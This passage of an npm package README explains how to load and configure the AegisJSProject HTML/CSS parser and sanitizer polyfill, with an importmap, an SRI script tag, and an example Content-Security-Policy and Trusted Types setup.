separate `<script>`:\n\n> [!IMPORTANT]\n> Be sure to load the polyfill *before* any script using the parsers.\n\n```html\n<!-- Note: The version and `integrity` are not necessarily current -->\n<script referrerpolicy=\"no-referrer\" crossorigin=\"anonymous\" integrity=\"sha384-OUI/F1tbQMDz0u/Yf2w+15JU5U5sQzji2Do4pFQIBI7Zc5B5j0LnOoOjA4HpBCwp\" src=\"https://unpkg.com/@aegisjsproject/sanitizer@0.0.7/polyfill.min.js\" fetchpriority=\"high\" defer=\"\"></script>\n```\n\nHowever, you may also include it in your modules should you choose:\n\n```js\n// ES Module with importmap\nimport '@aegisjsproject/sanitizer/polyfill.min.js';\n\n// ES Module with full URL\nimport 'https://unpkg.com/@aegisjsproject/sanitizer@0.0.7/polyfill.min.js';\n\n// CommonJS\nrequire('@aegisjsproject/sanitizer/polyfill');\n```\n\n## Use as ES Module with [importmap](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script/type/importmap)\n\n> [!IMPORTANT]\n> Please be aware that `<script type=\"importmap\">` falls under `script-src` in\n> [Content-Security-Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src).\n> As such, if you use CSP and do not allow `'unsafe-inline'`, you will need to add\n> a `nonce=\"examplerandomstring\"` on it and add `'nonce-examplerandomstring'` to `script-src`.\n> Or, you could use a hash/`integrity`/SRI, but be aware that it will be invalid if\n> a single character changes.\n\n```html\n<script type=\"importmap\">\n  {\n    \"imports\": {\n      \"@aegisjsproject/parsers\": \"https://unpkg.com/@aegisjsproject/parsers[@:version]\",\n      \"@aegisjsproject/parsers/\": \"https://unpkg.com/@aegisjsproject[@:version]/parsers/\",\n      \"@aegisjsproject/sanitizer\": \"https://unpkg.com/@aegisjsproject/sanitizer@0.0.7/polyfill.min.js\",\n      \"@aegisjsproject/sanitizer/\": \"https://unpkg.com/@aegisjsproject/sanitizer@0.0.7/\"\n    }\n  }\n</script>\n```\n\n## Importing Only What is Necessary (ES Modules Only)\n```js\nimport { html } from '@aegisjsproject/html.js';\nimport { css } from '@aegisjsproject/css.js';\nimport { svg } from '@aegisjsproject/svg.js';\n```\n\n## Advanced Usage with Custom Sanitizer Config\n```js\nimport { createHTMLParser } from '@aegisjsproject/parsers/html.js';\nimport { createCSSParser } from '@aegisjsproject/parsers/css.js';\n\nconst html = createHTMLParser({\n  elements: ['span', 'div', 'p', 'a', 'pre', 'code', 'blockquote', 'b', 'i'],\n  attributes: ['class', 'id', 'href'],\n  comments: false,\n});\n\nconst css = createCSSParser({\n  media: '(prefers-color-scheme: dark)',\n  disabled: false,\n  baseURL: document.baseURI,\n});\n```\n\n> [!IMPORTANT]\n>  Via `npm i` and CommonJS/`require()`, only the main module is transpiled to\n> CommonJS. You cannot `require()` specific scripts using CommonJS.\n\n```js\n// Load the polyfill\nrequire('@aegisjsproject/sanitizer/polyfill');\nconst { html } = require('@aegisjsproject/parsers');\n```\n\n## Content-Security-Policy and [TrustedTypesPolicy](https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API)\nIf you are importing the module or bundle from `unpkg.com`, you will need to allow\nthat in your `script-src`. If you installed it locally, you should not need any\nnew sources allowed and, assuming no external scripts are used, can simply use `'self'`.\n\nYou will, however, require either a hash or nonce if you use an importmap, since\nthat is governed by `script-src` and would be considered `'unsafe-inline'`, and \nit cannot be external - it **MUST** be an inline-script.\n\nIf you use Trusted Types, however, you will at minimum need to allow `aegis-sanitizer#html`,\nas this policy is used internally for parsing the raw strings. In the future,\na polyfill for the Trusted Types API will also be provided, and that will require\n`empty#html` and `empty#script` for `trustedTypes.emptyHTML` and `trustedTypes.emptyScript`\nrespectively.\n\nA full CSP might look like this:\n\n```\ndefault-src 'none';\nscript-src 'self' https://unpkg.com/@aegisjsproject/ 'sha384-qOnpoDjAcZtXfanBdq59LK71K0lxdJmnLrSCdgYcsxL4PrFIFIpw79PfBnEwlm+M';\nstyle-src 'self';\nfont-src 'self';\nimg-src 'self';\nconnect-src 'self';\ntrusted-types empty#html empty#script aegis-sanitizer#html;\nrequire-trusted-types-for 'script';\n```\n","readmeFilename":"README.md"}